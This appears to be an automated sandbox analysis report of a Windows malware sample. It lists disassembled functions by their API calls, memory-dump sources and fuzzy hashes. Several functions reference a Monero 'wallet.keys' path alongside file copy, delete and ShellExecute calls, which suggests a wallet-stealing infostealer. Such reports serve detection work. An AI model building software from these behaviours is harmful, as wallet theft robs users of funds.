Opcode Fuzzy Hash: 2bc862e23049522353f557efbe5a534fc225ec1847c73ec0f35945cba9fd7dcf
Instruction Fuzzy Hash: 8C4136B690010C6BDB14FBA0DC56FEE737DEB88300F404558B61A96181EA755BC89BB3

Function 00D46920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00D4696C
sscanf.NTDLL ref: 00D46999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00D469B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00D469C0
ExitProcess.KERNEL32 ref: 00D469DA

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: e5f1286be4eeeac802f26d9a9dd0655b6998e43d7a396e129cfca5319dd328c9
Instruction ID: c362a15fb8cab86a497a5ea3b8dd9283ffed275551dd6f365caa3312409891c6
Opcode Fuzzy Hash: e5f1286be4eeeac802f26d9a9dd0655b6998e43d7a396e129cfca5319dd328c9
Instruction Fuzzy Hash: 7121BA75D1420CABCF04EFE8E9459EEB7B5FF48300F04852AE41AA3250EB749645DB66

Function 00D47E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D47E37
RtlAllocateHeap.NTDLL(00000000), ref: 00D47E3E
RegOpenKeyExA.ADVAPI32(80000002,008CBB60,00000000,00020119,?), ref: 00D47E5E
RegQueryValueExA.ADVAPI32(?,008DD198,00000000,00000000,000000FF,000000FF), ref: 00D47E7F
RegCloseKey.ADVAPI32(?), ref: 00D47E92

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: caa41c43f4dbb1aaea3dce848c0348d0078d81c9383eaa56b55aaf687f4829ce
Instruction ID: 8db298208410da85f1af5db1dc7e038a3dfafeaada69439b69b4d8b6882efeda
Opcode Fuzzy Hash: caa41c43f4dbb1aaea3dce848c0348d0078d81c9383eaa56b55aaf687f4829ce
Instruction Fuzzy Hash: D31191B1A44209EBD704CF94DC49FBFBBB8EB44701F104269FA19A7280D77458009BB2

Function 00D49260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(008DDBC0,?,?,?,00D4140C,?,008DDBC0,00000000), ref: 00D4926C
lstrcpyn.KERNEL32(00F7AB88,008DDBC0,008DDBC0,?,00D4140C,?,008DDBC0), ref: 00D49290
lstrlen.KERNEL32(?,?,00D4140C,?,008DDBC0), ref: 00D492A7
wsprintfA.USER32 ref: 00D492C7

Strings

%s%s, xrefs: 00D492B5

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 6213edee1f0e4e9a71eb97b2dc816c4d7381815e42be341e39e70885bca387df
Instruction ID: bd621b90faaab6e2a49f72188de5a4307ad749fdf73b48cf2b1533522225b596
Opcode Fuzzy Hash: 6213edee1f0e4e9a71eb97b2dc816c4d7381815e42be341e39e70885bca387df
Instruction Fuzzy Hash: 5701E97550010CFFCB04DFECC994EAE7BB9EB84351F118188F9098B201C671AA50EBA2

Function 00D312A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D312B4
RtlAllocateHeap.NTDLL(00000000), ref: 00D312BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00D312D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00D312F5
RegCloseKey.ADVAPI32(?), ref: 00D312FF

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 1ec3c674cf6d7e5cfd72ab8a12863bd5356a7d04b8175aaf380712dbc6a5cffa
Instruction ID: 8d393aeefcad8b54cfaff967a2e5df8a4739ea223602a029ee273b1eff2ae1b5
Opcode Fuzzy Hash: 1ec3c674cf6d7e5cfd72ab8a12863bd5356a7d04b8175aaf380712dbc6a5cffa
Instruction Fuzzy Hash: 8E01E1B9A4020DBBDB04DFE4DC49FAEB7B8EB88701F108159FA0997280D6759A419F52

Function 00D4C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 00D4C8EC
___crtLCMapStringA.LIBCMT ref: 00D4C90C
___crtLCMapStringA.LIBCMT ref: 00D4C931

Strings

, xrefs: 00D4C896

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 50624b672602926a83db4c49491de4d445c4b15159d5ed60aca8b40d87e7f902
Instruction ID: 750c12d1e4d508ec4c173a4c103f900d5c625beca94444c4c11e705e434601c8
Opcode Fuzzy Hash: 50624b672602926a83db4c49491de4d445c4b15159d5ed60aca8b40d87e7f902
Instruction Fuzzy Hash: 6941077111179C6FDB218B24CC84FFBBBE99F45705F1854E8E9CA86182E2719A44CF70

Function 00D46630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00D46663

Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

Part of subcall function 00D4A9B0: lstrlen.KERNEL32(?,008D8A30,?,\Monero\wallet.keys,00D50E17), ref: 00D4A9C5
Part of subcall function 00D4A9B0: lstrcpy.KERNEL32(00000000), ref: 00D4AA04
Part of subcall function 00D4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AA12

Part of subcall function 00D4A8A0: lstrcpy.KERNEL32(?,00D50E17), ref: 00D4A905

ShellExecuteEx.SHELL32(0000003C), ref: 00D46726
ExitProcess.KERNEL32 ref: 00D46755

Strings

<, xrefs: 00D466D9

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 0fe456ca2b449961d4d16b66e97028195031b05e726f8f2037db438b4137bfdf
Instruction ID: dacd898773cd9186cf43087a30bfd6579d8a87000d8e108e99bd1adf535b8d16
Opcode Fuzzy Hash: 0fe456ca2b449961d4d16b66e97028195031b05e726f8f2037db438b4137bfdf
Instruction Fuzzy Hash: 38310CB1841218ABEB14EBA4DC96FDEB778EF44300F404199F20966191DF746B89CF76

Function 00D487C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00D50E28,00000000,?), ref: 00D4882F
RtlAllocateHeap.NTDLL(00000000), ref: 00D48836
wsprintfA.USER32 ref: 00D48850

Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

Strings

%dx%d, xrefs: 00D48847

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 834d08d8b0ef8f6607af76f6b1bd9f4518d37fa9ec73a776cfaf9320346b666f
Instruction ID: e8cf9485563fdad084531af7c4ff7d2d2a78c92a01c05bbcdaf648583639d9ee
Opcode Fuzzy Hash: 834d08d8b0ef8f6607af76f6b1bd9f4518d37fa9ec73a776cfaf9320346b666f
Instruction Fuzzy Hash: 832130B1A40208AFDB04DF94DD45FAEBBB8FB48701F144159F619A7280C77999419BA2

Function 00D48D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00D4951E,00000000), ref: 00D48D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00D48D62
wsprintfW.USER32 ref: 00D48D78

Strings

%hs, xrefs: 00D48D6F

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 22f38379a0ba984f71984899d677777648a4155920c881a0821ec2a81d8da9b4
Instruction ID: d981db67a730bed3978b01c4211eb8670daf2b39eeacac714cca1011a62adf2c
Opcode Fuzzy Hash: 22f38379a0ba984f71984899d677777648a4155920c881a0821ec2a81d8da9b4
Instruction Fuzzy Hash: 43E0ECB5A4020CBFDB14DB94DD0AE6D7BBCEB84702F044194FD0D97280DA719E54ABA7

Function 00D3A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

Part of subcall function 00D4A9B0: lstrlen.KERNEL32(?,008D8A30,?,\Monero\wallet.keys,00D50E17), ref: 00D4A9C5
Part of subcall function 00D4A9B0: lstrcpy.KERNEL32(00000000), ref: 00D4AA04
Part of subcall function 00D4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AA12

Part of subcall function 00D4A8A0: lstrcpy.KERNEL32(?,00D50E17), ref: 00D4A905

Part of subcall function 00D48B60: GetSystemTime.KERNEL32(00D50E1A,008D9BB8,00D505AE,?,?,00D313F9,?,0000001A,00D50E1A,00000000,?,008D8A30,?,\Monero\wallet.keys,00D50E17), ref: 00D48B86

Part of subcall function 00D4A920: lstrcpy.KERNEL32(00000000,?), ref: 00D4A972
Part of subcall function 00D4A920: lstrcat.KERNEL32(00000000), ref: 00D4A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00D3A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00D3A3FF
lstrlen.KERNEL32(00000000), ref: 00D3A6BC

Part of subcall function 00D4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D4A7E6

DeleteFileA.KERNEL32(00000000), ref: 00D3A743

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 7122a964b414726954bf3f1d2f071eae59a116d60e4694c2de093601539bdffb
Instruction ID: eae38fd510842dabaa083300f8d31e3322ad164dc73cfb37da3c4618db5c3a9d
Opcode Fuzzy Hash: 7122a964b414726954bf3f1d2f071eae59a116d60e4694c2de093601539bdffb
Instruction Fuzzy Hash: 85E1ED72850118ABEB15FBA8DC92EEE7338EF54304F518169F516B6091EF306A4DCB72

Function 00D3D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

Part of subcall function 00D4A9B0: lstrlen.KERNEL32(?,008D8A30,?,\Monero\wallet.keys,00D50E17), ref: 00D4A9C5
Part of subcall function 00D4A9B0: lstrcpy.KERNEL32(00000000), ref: 00D4AA04
Part of subcall function 00D4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AA12

Part of subcall function 00D4A8A0: lstrcpy.KERNEL32(?,00D50E17), ref: 00D4A905

Part of subcall function 00D48B60: GetSystemTime.KERNEL32(00D50E1A,008D9BB8,00D505AE,?,?,00D313F9,?,0000001A,00D50E1A,00000000,?,008D8A30,?,\Monero\wallet.keys,00D50E17), ref: 00D48B86

Part of subcall function 00D4A920: lstrcpy.KERNEL32(00000000,?), ref: 00D4A972
Part of subcall function 00D4A920: lstrcat.KERNEL32(00000000), ref: 00D4A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00D3D481
lstrlen.KERNEL32(00000000), ref: 00D3D698
lstrlen.KERNEL32(00000000), ref: 00D3D6AC
DeleteFileA.KERNEL32(00000000), ref: 00D3D72B

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: ee392926dfde5d29402c1376b3bf04e4bbd56da528a811036ef5a7e8cfefacb8
Instruction ID: af098c426f7b9fdf2dee618d6c252d65c12d67ffb54557ee3396bca1aa2c27f1
Opcode Fuzzy Hash: ee392926dfde5d29402c1376b3bf04e4bbd56da528a811036ef5a7e8cfefacb8
Instruction Fuzzy Hash: 83912072850118ABEB04FBA8DC92EEE7339EF54304F514569F507B6092EF346A49CB72

Function 00D3D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

Part of subcall function 00D4A9B0: lstrlen.KERNEL32(?,008D8A30,?,\Monero\wallet.keys,00D50E17), ref: 00D4A9C5
Part of subcall function 00D4A9B0: lstrcpy.KERNEL32(00000000), ref: 00D4AA04
Part of subcall function 00D4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AA12

Part of subcall function 00D4A8A0: lstrcpy.KERNEL32(?,00D50E17), ref: 00D4A905

Part of subcall function 00D48B60: GetSystemTime.KERNEL32(00D50E1A,008D9BB8,00D505AE,?,?,00D313F9,?,0000001A,00D50E1A,00000000,?,008D8A30,?,\Monero\wallet.keys,00D50E17), ref: 00D48B86

Part of subcall function 00D4A920: lstrcpy.KERNEL32(00000000,?), ref: 00D4A972
